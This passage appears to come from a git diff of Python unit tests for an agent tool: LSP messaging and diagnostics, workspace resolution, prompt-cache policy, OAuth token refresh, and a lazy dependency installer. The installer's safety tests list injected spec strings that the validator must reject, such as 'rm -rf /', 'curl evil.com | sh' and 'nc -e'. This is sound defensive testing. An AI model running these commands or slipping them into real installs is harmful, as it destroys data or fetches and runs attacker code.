assert msg["error"]["data"] == {"hint": "retry"}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# classify_message
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_classify_message_request():
|
||||
msg = {"jsonrpc": "2.0", "id": 1, "method": "x"}
|
||||
assert classify_message(msg) == ("request", 1)
|
||||
|
||||
|
||||
def test_classify_message_response():
|
||||
msg = {"jsonrpc": "2.0", "id": 1, "result": None}
|
||||
assert classify_message(msg) == ("response", 1)
|
||||
|
||||
|
||||
def test_classify_message_notification():
|
||||
msg = {"jsonrpc": "2.0", "method": "log"}
|
||||
assert classify_message(msg) == ("notification", "log")
|
||||
|
||||
|
||||
def test_classify_message_invalid():
|
||||
assert classify_message({"id": 1})[0] == "invalid"
|
||||
assert classify_message({"jsonrpc": "1.0", "method": "x"})[0] == "invalid"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# LSPRequestError
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_lsp_request_error_carries_code_and_data():
|
||||
e = LSPRequestError(ERROR_METHOD_NOT_FOUND, "no", {"x": 1})
|
||||
assert e.code == ERROR_METHOD_NOT_FOUND
|
||||
assert e.message == "no"
|
||||
assert e.data == {"x": 1}
|
||||
@@ -0,0 +1,94 @@
|
||||
"""Tests for the diagnostic reporter (formatting layer)."""
|
||||
from __future__ import annotations
|
||||
|
||||
from plugins.lsp.reporter import (
|
||||
DEFAULT_SEVERITIES,
|
||||
MAX_PER_FILE,
|
||||
format_diagnostic,
|
||||
report_for_file,
|
||||
truncate,
|
||||
)
|
||||
|
||||
|
||||
def _diag(line=0, col=0, sev=1, code="E001", source="ls", msg="oops"):
|
||||
return {
|
||||
"range": {
|
||||
"start": {"line": line, "character": col},
|
||||
"end": {"line": line, "character": col + 1},
|
||||
},
|
||||
"severity": sev,
|
||||
"code": code,
|
||||
"source": source,
|
||||
"message": msg,
|
||||
}
|
||||
|
||||
|
||||
def test_format_diagnostic_uses_one_indexed_position():
|
||||
line = format_diagnostic(_diag(line=4, col=2))
|
||||
assert "[5:3]" in line # +1 on both
|
||||
|
||||
|
||||
def test_format_diagnostic_includes_severity_label():
|
||||
assert format_diagnostic(_diag(sev=1)).startswith("ERROR")
|
||||
assert format_diagnostic(_diag(sev=2)).startswith("WARN")
|
||||
assert format_diagnostic(_diag(sev=3)).startswith("INFO")
|
||||
assert format_diagnostic(_diag(sev=4)).startswith("HINT")
|
||||
|
||||
|
||||
def test_format_diagnostic_includes_code_and_source():
|
||||
line = format_diagnostic(_diag(code="X42", source="src"))
|
||||
assert "[X42]" in line
|
||||
assert "(src)" in line
|
||||
|
||||
|
||||
def test_format_diagnostic_omits_missing_optional_fields():
|
||||
line = format_diagnostic(
|
||||
{
|
||||
"range": {
|
||||
"start": {"line": 0, "character": 0},
|
||||
"end": {"line": 0, "character": 0},
|
||||
},
|
||||
"severity": 1,
|
||||
"message": "bare",
|
||||
}
|
||||
)
|
||||
assert "[" not in line.split("]", 1)[1] # no extra brackets after the position
|
||||
assert "(" not in line
|
||||
|
||||
|
||||
def test_report_for_file_returns_empty_when_only_warnings():
|
||||
"""Default severity filter is ERROR-only."""
|
||||
report = report_for_file("/x.py", [_diag(sev=2)])
|
||||
assert report == ""
|
||||
|
||||
|
||||
def test_report_for_file_emits_block_with_errors():
|
||||
diag = _diag(msg="real error")
|
||||
report = report_for_file("/x.py", [diag])
|
||||
assert "<diagnostics file=\"/x.py\">" in report
|
||||
assert "real error" in report
|
||||
assert "</diagnostics>" in report
|
||||
|
||||
|
||||
def test_report_for_file_caps_at_max_per_file():
|
||||
diags = [_diag(line=i) for i in range(MAX_PER_FILE + 5)]
|
||||
report = report_for_file("/x.py", diags)
|
||||
assert "and 5 more" in report
|
||||
|
||||
|
||||
def test_report_for_file_respects_custom_severities():
|
||||
diag = _diag(sev=2, msg="warn")
|
||||
report = report_for_file("/x.py", [diag], severities=frozenset({1, 2}))
|
||||
assert "warn" in report
|
||||
|
||||
|
||||
def test_truncate_below_limit_unchanged():
|
||||
s = "abc" * 100
|
||||
assert truncate(s, limit=4000) == s
|
||||
|
||||
|
||||
def test_truncate_above_limit_appends_marker():
|
||||
s = "x" * 10000
|
||||
out = truncate(s, limit=200)
|
||||
assert out.endswith("[truncated]")
|
||||
assert len(out) <= 200
|
||||
@@ -0,0 +1,149 @@
|
||||
"""Tests for the synchronous LSPService wrapper.
|
||||
|
||||
Drives the service through ``snapshot_baseline`` →
|
||||
``get_diagnostics_sync`` against the mock LSP server, exercising the
|
||||
delta filter that ``tools/file_operations._check_lint_delta`` relies
|
||||
on.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from plugins.lsp.manager import LSPService
|
||||
from plugins.lsp.servers import (
|
||||
SERVERS,
|
||||
ServerContext,
|
||||
ServerDef,
|
||||
SpawnSpec,
|
||||
find_server_for_file,
|
||||
)
|
||||
|
||||
|
||||
MOCK_SERVER = str(Path(__file__).parent / "_mock_lsp_server.py")
|
||||
|
||||
|
||||
def _install_mock_server(monkeypatch, script: str = "errors", server_id: str = "pyright"):
|
||||
"""Replace one registered server with a wrapper that spawns the mock.
|
||||
|
||||
We reuse ``pyright`` so .py files route to it. This keeps the
|
||||
test free of any LSP toolchain dependency.
|
||||
"""
|
||||
target_index = next(i for i, s in enumerate(SERVERS) if s.server_id == server_id)
|
||||
original = SERVERS[target_index]
|
||||
|
||||
def _spawn(root: str, ctx: ServerContext) -> SpawnSpec:
|
||||
env = {"MOCK_LSP_SCRIPT": script}
|
||||
return SpawnSpec(
|
||||
command=[sys.executable, MOCK_SERVER],
|
||||
workspace_root=root,
|
||||
cwd=root,
|
||||
env=env,
|
||||
initialization_options={},
|
||||
)
|
||||
|
||||
replacement = ServerDef(
|
||||
server_id=server_id,
|
||||
extensions=original.extensions,
|
||||
resolve_root=lambda fp, ws: ws, # always use workspace root
|
||||
build_spawn=_spawn,
|
||||
seed_first_push=False,
|
||||
description="mock " + server_id,
|
||||
)
|
||||
# Patch the SERVERS list element directly + restore on teardown.
|
||||
SERVERS[target_index] = replacement
|
||||
|
||||
yield
|
||||
|
||||
SERVERS[target_index] = original
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def mock_pyright(monkeypatch, tmp_path):
|
||||
"""Install the mock as ``pyright`` and create a fake git workspace."""
|
||||
repo = tmp_path / "repo"
|
||||
repo.mkdir()
|
||||
(repo / ".git").mkdir()
|
||||
(repo / "pyproject.toml").write_text("") # so pyright's root resolver finds it
|
||||
monkeypatch.chdir(str(repo))
|
||||
gen = _install_mock_server(monkeypatch, "errors", "pyright")
|
||||
next(gen)
|
||||
yield repo
|
||||
try:
|
||||
next(gen)
|
||||
except StopIteration:
|
||||
pass
|
||||
|
||||
|
||||
def test_service_returns_empty_when_disabled(tmp_path):
|
||||
svc = LSPService(
|
||||
enabled=False,
|
||||
wait_mode="document",
|
||||
wait_timeout=2.0,
|
||||
install_strategy="auto",
|
||||
)
|
||||
assert not svc.is_active()
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("")
|
||||
assert svc.get_diagnostics_sync(str(f)) == []
|
||||
svc.shutdown()
|
||||
|
||||
|
||||
def test_service_skips_files_outside_workspace(tmp_path):
|
||||
"""Files outside any git worktree must not trigger LSP."""
|
||||
svc = LSPService(
|
||||
enabled=True,
|
||||
wait_mode="document",
|
||||
wait_timeout=2.0,
|
||||
install_strategy="manual",
|
||||
)
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("")
|
||||
# No .git anywhere — service should report not enabled for this file.
|
||||
assert not svc.enabled_for(str(f))
|
||||
svc.shutdown()
|
||||
|
||||
|
||||
def test_service_e2e_delta_filter(mock_pyright):
|
||||
"""End-to-end: snapshot baseline → wait → delta returned."""
|
||||
repo = mock_pyright
|
||||
f = repo / "x.py"
|
||||
f.write_text("print('hi')\n")
|
||||
|
||||
svc = LSPService(
|
||||
enabled=True,
|
||||
wait_mode="document",
|
||||
wait_timeout=3.0,
|
||||
install_strategy="manual",
|
||||
)
|
||||
try:
|
||||
assert svc.enabled_for(str(f))
|
||||
# Baseline first — server pushes 1 error.
|
||||
svc.snapshot_baseline(str(f))
|
||||
# Re-poll: same error is in baseline, so delta is empty.
|
||||
new_diags = svc.get_diagnostics_sync(str(f))
|
||||
assert new_diags == []
|
||||
finally:
|
||||
svc.shutdown()
|
||||
|
||||
|
||||
def test_service_status_includes_clients(mock_pyright):
|
||||
repo = mock_pyright
|
||||
f = repo / "x.py"
|
||||
f.write_text("")
|
||||
svc = LSPService(
|
||||
enabled=True,
|
||||
wait_mode="document",
|
||||
wait_timeout=3.0,
|
||||
install_strategy="manual",
|
||||
)
|
||||
try:
|
||||
svc.get_diagnostics_sync(str(f))
|
||||
info = svc.get_status()
|
||||
assert info["enabled"] is True
|
||||
assert any(c["server_id"] == "pyright" for c in info["clients"])
|
||||
finally:
|
||||
svc.shutdown()
|
||||
@@ -0,0 +1,139 @@
|
||||
"""Tests for workspace + project-root resolution."""
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from plugins.lsp.workspace import (
|
||||
clear_cache,
|
||||
find_git_worktree,
|
||||
is_inside_workspace,
|
||||
nearest_root,
|
||||
normalize_path,
|
||||
resolve_workspace_for_file,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clear():
|
||||
clear_cache()
|
||||
yield
|
||||
clear_cache()
|
||||
|
||||
|
||||
def test_find_git_worktree_returns_none_outside_repo(tmp_path: Path):
|
||||
sub = tmp_path / "sub"
|
||||
sub.mkdir()
|
||||
assert find_git_worktree(str(sub)) is None
|
||||
|
||||
|
||||
def test_find_git_worktree_finds_dotgit(tmp_path: Path):
|
||||
repo = tmp_path / "repo"
|
||||
repo.mkdir()
|
||||
(repo / ".git").mkdir()
|
||||
sub = repo / "src" / "deep"
|
||||
sub.mkdir(parents=True)
|
||||
assert find_git_worktree(str(sub)) == str(repo)
|
||||
|
||||
|
||||
def test_find_git_worktree_handles_dotgit_file(tmp_path: Path):
|
||||
"""``.git`` can also be a file (gitfile pointing into a worktree)."""
|
||||
repo = tmp_path / "repo"
|
||||
repo.mkdir()
|
||||
(repo / ".git").write_text("gitdir: /elsewhere\n")
|
||||
assert find_git_worktree(str(repo)) == str(repo)
|
||||
|
||||
|
||||
def test_is_inside_workspace_true_for_subpath(tmp_path: Path):
|
||||
root = tmp_path / "p"
|
||||
root.mkdir()
|
||||
sub = root / "x" / "y.py"
|
||||
sub.parent.mkdir(parents=True)
|
||||
sub.write_text("")
|
||||
assert is_inside_workspace(str(sub), str(root))
|
||||
|
||||
|
||||
def test_is_inside_workspace_false_for_unrelated(tmp_path: Path):
|
||||
a = tmp_path / "a"
|
||||
b = tmp_path / "b"
|
||||
a.mkdir()
|
||||
b.mkdir()
|
||||
f = b / "x.py"
|
||||
f.write_text("")
|
||||
assert not is_inside_workspace(str(f), str(a))
|
||||
|
||||
|
||||
def test_nearest_root_finds_first_marker(tmp_path: Path):
|
||||
root = tmp_path / "p"
|
||||
deep = root / "src" / "pkg"
|
||||
deep.mkdir(parents=True)
|
||||
(root / "pyproject.toml").write_text("")
|
||||
found = nearest_root(str(deep / "mod.py"), ["pyproject.toml"])
|
||||
assert found == str(root)
|
||||
|
||||
|
||||
def test_nearest_root_excludes_take_priority(tmp_path: Path):
|
||||
"""If an exclude marker matches first, return None."""
|
||||
root = tmp_path / "p"
|
||||
sub = root / "deno-app"
|
||||
sub.mkdir(parents=True)
|
||||
(sub / "deno.json").write_text("{}")
|
||||
(root / "package.json").write_text("{}") # would match if not for exclude
|
||||
found = nearest_root(
|
||||
str(sub / "main.ts"),
|
||||
["package.json"],
|
||||
excludes=["deno.json"],
|
||||
)
|
||||
assert found is None
|
||||
|
||||
|
||||
def test_nearest_root_returns_none_when_no_marker(tmp_path: Path):
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("")
|
||||
assert nearest_root(str(f), ["pyproject.toml"]) is None
|
||||
|
||||
|
||||
def test_resolve_workspace_for_file_uses_cwd_first(tmp_path: Path, monkeypatch):
|
||||
repo = tmp_path / "repo"
|
||||
(repo / ".git").mkdir(parents=True)
|
||||
file_path = repo / "x.py"
|
||||
file_path.write_text("")
|
||||
# cwd is inside the repo
|
||||
monkeypatch.chdir(str(repo))
|
||||
root, gated = resolve_workspace_for_file(str(file_path))
|
||||
assert root == str(repo)
|
||||
assert gated is True
|
||||
|
||||
|
||||
def test_resolve_workspace_for_file_no_repo_returns_none(tmp_path: Path, monkeypatch):
|
||||
monkeypatch.chdir(str(tmp_path))
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("")
|
||||
root, gated = resolve_workspace_for_file(str(f))
|
||||
assert root is None
|
||||
assert gated is False
|
||||
|
||||
|
||||
def test_resolve_workspace_falls_back_to_file_location(tmp_path: Path, monkeypatch):
|
||||
"""When cwd isn't a git repo but the file is inside one, we still
|
||||
discover the workspace from the file's path."""
|
||||
not_a_repo = tmp_path / "loose"
|
||||
not_a_repo.mkdir()
|
||||
monkeypatch.chdir(str(not_a_repo))
|
||||
|
||||
repo = tmp_path / "actual-repo"
|
||||
(repo / ".git").mkdir(parents=True)
|
||||
f = repo / "x.py"
|
||||
f.write_text("")
|
||||
|
||||
root, gated = resolve_workspace_for_file(str(f))
|
||||
assert root == str(repo)
|
||||
assert gated is True
|
||||
|
||||
|
||||
def test_normalize_path_expands_tilde(monkeypatch):
|
||||
monkeypatch.setenv("HOME", "/home/user")
|
||||
p = normalize_path("~/x.py")
|
||||
assert p == os.path.abspath("/home/user/x.py")
|
||||
@@ -257,6 +257,40 @@ class TestQwenAlibabaFamily:
|
||||
)
|
||||
assert agent._anthropic_prompt_cache_policy() == (False, False)
|
||||
|
||||
def test_qwen_on_nous_portal_caches_with_envelope_layout(self):
|
||||
# Nous Portal Qwen takes the same envelope-layout cache_control
|
||||
# path as Portal Claude. Without this, Portal-routed qwen3.6-plus
|
||||
# falls through to the alibaba-family check (which only matches
|
||||
# provider=opencode/alibaba) and serves 0% cache hits.
|
||||
agent = _make_agent(
|
||||
provider="nous",
|
||||
base_url="https://inference-api.nousresearch.com/v1",
|
||||
api_mode="chat_completions",
|
||||
model="qwen3.6-plus",
|
||||
)
|
||||
assert agent._anthropic_prompt_cache_policy() == (True, False)
|
||||
|
||||
def test_qwen_vendored_slug_on_nous_portal_caches(self):
|
||||
# Same path but with the vendored slug form Portal sometimes uses.
|
||||
agent = _make_agent(
|
||||
provider="nous",
|
||||
base_url="https://inference-api.nousresearch.com/v1",
|
||||
api_mode="chat_completions",
|
||||
model="qwen/qwen3.6-plus",
|
||||
)
|
||||
assert agent._anthropic_prompt_cache_policy() == (True, False)
|
||||
|
||||
def test_non_qwen_non_claude_on_nous_portal_does_not_cache(self):
|
||||
# Portal scope is narrow: Claude OR Qwen only. Other models
|
||||
# routed through Portal keep their existing fall-through behavior.
|
||||
agent = _make_agent(
|
||||
provider="nous",
|
||||
base_url="https://inference-api.nousresearch.com/v1",
|
||||
api_mode="chat_completions",
|
||||
model="openai/gpt-5.4",
|
||||
)
|
||||
assert agent._anthropic_prompt_cache_policy() == (False, False)
|
||||
|
||||
|
||||
class TestExplicitOverrides:
|
||||
"""Policy accepts keyword overrides for switch_model / fallback activation."""
|
||||
@@ -338,6 +372,37 @@ class TestSupportsLongLivedAnthropicCache:
|
||||
)
|
||||
assert agent._supports_long_lived_anthropic_cache() is True
|
||||
|
||||
def test_nous_portal_qwen_supported(self):
|
||||
# Portal Qwen rides the same OpenRouter-equivalent transport as
|
||||
# Portal Claude; long-lived (1h cross-session) cache_control
|
||||
# markers apply identically.
|
||||
agent = _make_agent(
|
||||
provider="nous",
|
||||
base_url="https://inference-api.nousresearch.com/v1",
|
||||
api_mode="chat_completions",
|
||||
model="qwen3.6-plus",
|
||||
)
|
||||
assert agent._supports_long_lived_anthropic_cache() is True
|
||||
|
||||
def test_nous_portal_qwen_vendored_slug_supported(self):
|
||||
agent = _make_agent(
|
||||
provider="nous",
|
||||
base_url="https://inference-api.nousresearch.com/v1",
|
||||
api_mode="chat_completions",
|
||||
model="qwen/qwen3.6-plus",
|
||||
)
|
||||
assert agent._supports_long_lived_anthropic_cache() is True
|
||||
|
||||
def test_nous_portal_non_claude_non_qwen_rejected(self):
|
||||
# Portal long-lived cache scope mirrors policy: Claude or Qwen only.
|
||||
agent = _make_agent(
|
||||
provider="nous",
|
||||
base_url="https://inference-api.nousresearch.com/v1",
|
||||
api_mode="chat_completions",
|
||||
model="openai/gpt-5.4",
|
||||
)
|
||||
assert agent._supports_long_lived_anthropic_cache() is False
|
||||
|
||||
def test_openrouter_non_claude_rejected(self):
|
||||
agent = _make_agent(
|
||||
provider="openrouter",
|
||||
|
||||
@@ -32,9 +32,11 @@ from hermes_cli.auth import (
|
||||
_minimax_pkce_pair,
|
||||
_minimax_request_user_code,
|
||||
_minimax_poll_token,
|
||||
_minimax_resolve_token_expiry_unix,
|
||||
_refresh_minimax_oauth_state,
|
||||
resolve_minimax_oauth_runtime_credentials,
|
||||
get_minimax_oauth_auth_status,
|
||||
get_auth_status,
|
||||
get_provider_auth_state,
|
||||
)
|
||||
|
||||
@@ -67,6 +69,23 @@ def _past_iso(seconds_ago: int = 3600) -> str:
|
||||
return datetime.fromtimestamp(ts, tz=timezone.utc).isoformat()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 0. test_resolve_token_expiry_unix_ttl_vs_absolute_ms
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_resolve_token_expiry_unix_ttl_seconds():
|
||||
now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=timezone.utc)
|
||||
got = _minimax_resolve_token_expiry_unix(3600, now=now)
|
||||
assert abs(got - (now.timestamp() + 3600)) < 0.01
|
||||
|
||||
|
||||
def test_resolve_token_expiry_unix_absolute_ms():
|
||||
now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=timezone.utc)
|
||||
abs_ms = int((now.timestamp() + 7200) * 1000)
|
||||
got = _minimax_resolve_token_expiry_unix(abs_ms, now=now)
|
||||
assert abs(got - (now.timestamp() + 7200)) < 0.01
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 1. test_pkce_pair_produces_valid_s256
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -362,6 +381,46 @@ def test_refresh_updates_access_token():
|
||||
assert result["expires_in"] == 7200
|
||||
|
||||
|
||||
def test_refresh_updates_access_token_absolute_ms_expired_in():
|
||||
"""Refresh payload may use unix-ms absolute ``expired_in`` (same as device-code)."""
|
||||
now0 = datetime.now(timezone.utc)
|
||||
abs_ms = int((now0.timestamp() + 1800) * 1000)
|
||||
|
||||
state = {
|
||||
"access_token": "old-access",
|
||||
"refresh_token": "my-refresh",
|
||||
"portal_base_url": MINIMAX_OAUTH_GLOBAL_BASE,
|
||||
"client_id": MINIMAX_OAUTH_CLIENT_ID,
|
||||
"inference_base_url": MINIMAX_OAUTH_GLOBAL_INFERENCE,
|
||||
"expires_at": _future_iso(MINIMAX_OAUTH_REFRESH_SKEW_SECONDS - 1),
|
||||
}
|
||||
|
||||
new_token_body = {
|
||||
"status": "success",
|
||||
"access_token": "new-access",
|
||||
"refresh_token": "new-refresh",
|
||||
"expired_in": abs_ms,
|
||||
}
|
||||
|
||||
mock_resp = _make_httpx_response(200, new_token_body)
|
||||
|
||||
with patch("httpx.Client") as mock_client_class:
|
||||
mock_client_instance = MagicMock()
|
||||
mock_client_instance.__enter__ = MagicMock(return_value=mock_client_instance)
|
||||
mock_client_instance.__exit__ = MagicMock(return_value=False)
|
||||
mock_client_instance.post.return_value = mock_resp
|
||||
mock_client_class.return_value = mock_client_instance
|
||||
|
||||
with patch("hermes_cli.auth._minimax_save_auth_state"):
|
||||
result = _refresh_minimax_oauth_state(state)
|
||||
|
||||
assert result["access_token"] == "new-access"
|
||||
assert 1790 <= result["expires_in"] <= 1810
|
||||
exp = datetime.fromisoformat(result["expires_at"].replace("Z", "+00:00"))
|
||||
skew = exp.timestamp() - datetime.now(timezone.utc).timestamp()
|
||||
assert 1790 <= skew <= 1810
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 10. test_refresh_reuse_triggers_relogin_required
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -464,3 +523,18 @@ def test_get_minimax_oauth_auth_status_logged_in():
|
||||
|
||||
assert status["logged_in"] is True
|
||||
assert status["region"] == "global"
|
||||
|
||||
|
||||
def test_generic_auth_status_dispatches_minimax_oauth():
|
||||
state = {
|
||||
"access_token": "tok",
|
||||
"expires_at": _future_iso(3600),
|
||||
"region": "global",
|
||||
}
|
||||
|
||||
with patch("hermes_cli.auth.get_provider_auth_state", return_value=state):
|
||||
status = get_auth_status("minimax-oauth")
|
||||
|
||||
assert status["logged_in"] is True
|
||||
assert status["provider"] == "minimax-oauth"
|
||||
assert status["region"] == "global"
|
||||
|
||||
@@ -0,0 +1,228 @@
|
||||
"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer.
|
||||
|
||||
The lazy_deps module is the architectural fix for the "one quarantined
|
||||
package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)``
|
||||
which only installs from a strict allowlist, refuses anything that looks
|
||||
like a URL / file path, runs venv-scoped, and respects the
|
||||
``security.allow_lazy_installs`` config flag.
|
||||
|
||||
These tests cover the security boundary and the public API. The real pip
|
||||
call is mocked — we never actually shell out during unit tests.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Iterator
|
||||
|
||||
import pytest
|
||||
|
||||
import tools.lazy_deps as ld
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Spec safety
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestSpecSafety:
|
||||
@pytest.mark.parametrize("spec", [
|
||||
"mistralai>=2.3.0,<3",
|
||||
"elevenlabs>=1.0,<2",
|
||||
"honcho-ai>=2.0.1,<3",
|
||||
"boto3>=1.35.0,<2",
|
||||
"mautrix[encryption]>=0.20,<1",
|
||||
"google-api-python-client>=2.100,<3",
|
||||
"youtube-transcript-api>=1.2.0",
|
||||
"qrcode>=7.0,<8",
|
||||
"package", # bare name, no version
|
||||
"package==1.0.0",
|
||||
"package~=1.0",
|
||||
])
|
||||
def test_safe_specs_pass(self, spec):
|
||||
assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe"
|
||||
|
||||
@pytest.mark.parametrize("spec", [
|
||||
# URL-shaped → rejected (no remote origin override allowed)
|
||||
"git+https://github.com/foo/bar.git",
|
||||
"https://example.com/foo.tar.gz",
|
||||
# File path → rejected
|
||||
"/etc/passwd",
|
||||
"./local-malware",
|
||||
"../escape",
|
||||
# Shell metacharacters → rejected
|
||||
"package; rm -rf /",
|
||||
"package && curl evil.com | sh",
|
||||
"package`whoami`",
|
||||
"package$(whoami)",
|
||||
"package|nc -e",
|
||||
# Pip flag injection → rejected
|
||||
"--index-url=http://evil/",
|
||||
"-r requirements.txt",
|
||||
# Whitespace control chars → rejected
|
||||
"package\nshell-injection",
|
||||
"package\rmore",
|
||||
# Empty / overly long → rejected
|
||||
"",
|
||||
"x" * 500,
|
||||
])
|
||||
def test_unsafe_specs_rejected(self, spec):
|
||||
assert not ld._spec_is_safe(spec), \
|
||||
f"expected {spec!r} to be rejected"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Allowlist enforcement
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestAllowlist:
|
||||
def test_unknown_feature_raises(self, monkeypatch):
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||
with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"):
|
||||
ld.ensure("not.a.real.feature")
|
||||
|
||||
def test_lazy_deps_keys_use_namespace_dot_name(self):
|
||||
# Sanity check on the data shape — every key should be at least
|
||||
# one dot-separated namespace.
|
||||
for key in ld.LAZY_DEPS:
|
||||
assert "." in key, f"feature {key!r} should be namespace.name"
|
||||
|
||||
def test_every_lazy_dep_spec_passes_safety(self):
|
||||
# Defence in depth — even though specs are author-controlled,
|
||||
# the safety regex must accept everything we ship.
|
||||
for feature, specs in ld.LAZY_DEPS.items():
|
||||
for spec in specs:
|
||||
assert ld._spec_is_safe(spec), \
|
||||
f"{feature}: spec {spec!r} fails safety check"
|
||||
|
||||
def test_feature_install_command_returns_pip_invocation(self):
|
||||
cmd = ld.feature_install_command("memory.honcho")
|
||||
assert cmd is not None
|
||||
assert cmd.startswith("uv pip install")
|
||||
assert "honcho-ai" in cmd
|
||||
|
||||
def test_feature_install_command_unknown(self):
|
||||
assert ld.feature_install_command("not.real") is None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# allow_lazy_installs gating
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestSecurityGating:
|
||||
def test_disabled_via_config_raises(self, monkeypatch):
|
||||
# Pretend honcho is missing AND lazy installs are disabled.
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False)
|
||||
with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"):
|
||||
ld.ensure("test.feat", prompt=False)
|
||||
|
||||
def test_disabled_via_env_var(self, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1")
|
||||
# Bypass config layer; the env var alone must disable.
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.load_config",
|
||||
lambda: {"security": {"allow_lazy_installs": True}},
|
||||
)
|
||||
assert ld._allow_lazy_installs() is False
|
||||
|
||||
def test_default_allows(self, monkeypatch):
|
||||
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.load_config",
|
||||
lambda: {"security": {}},
|
||||
)
|
||||
assert ld._allow_lazy_installs() is True
|
||||
|
||||
def test_config_failure_fails_open(self, monkeypatch):
|
||||
# If config can't be read at all, we ALLOW installs rather than
|
||||
# blocking the user out of their own backends.
|
||||
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.config.load_config",
|
||||
lambda: (_ for _ in ()).throw(RuntimeError("config broken")),
|
||||
)
|
||||
assert ld._allow_lazy_installs() is True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# ensure() happy/sad paths
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestEnsure:
|
||||
def test_already_satisfied_is_noop(self, monkeypatch):
|
||||
# If the package is importable, ensure() returns without calling pip.
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
|
||||
# If pip were called, this would fail loudly.
|
||||
monkeypatch.setattr(
|
||||
ld, "_venv_pip_install",
|
||||
lambda *a, **kw: pytest.fail("pip should not be called"),
|
||||
)
|
||||
ld.ensure("test.satisfied", prompt=False) # no exception
|
||||
|
||||
def test_install_success_path(self, monkeypatch):
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",))
|
||||
# First check sees missing, post-install check sees installed.
|
||||
call_count = {"n": 0}
|
||||
|
||||
def fake_satisfied(spec):
|
||||
call_count["n"] += 1
|
||||
return call_count["n"] > 1 # missing first, installed after
|
||||
|
||||
monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied)
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||
monkeypatch.setattr(
|
||||
ld, "_venv_pip_install",
|
||||
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
|
||||
)
|
||||
ld.ensure("test.install", prompt=False)
|
||||
|
||||
def test_install_failure_surfaces_pip_stderr(self, monkeypatch):
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||
monkeypatch.setattr(
|
||||
ld, "_venv_pip_install",
|
||||
lambda specs, **kw: ld._InstallResult(
|
||||
False, "", "ERROR: package not found on PyPI"
|
||||
),
|
||||
)
|
||||
with pytest.raises(ld.FeatureUnavailable, match="pip install failed"):
|
||||
ld.ensure("test.fail", prompt=False)
|
||||
|
||||
def test_install_succeeds_but_still_missing_raises(self, monkeypatch):
|
||||
# Pip says success but the package still isn't importable
|
||||
# (e.g. site-packages caching, wrong python). Surface this.
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||
monkeypatch.setattr(
|
||||
ld, "_venv_pip_install",
|
||||
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
|
||||
)
|
||||
with pytest.raises(ld.FeatureUnavailable, match="still not importable"):
|
||||
ld.ensure("test.cache", prompt=False)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# is_available
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestIsAvailable:
|
||||
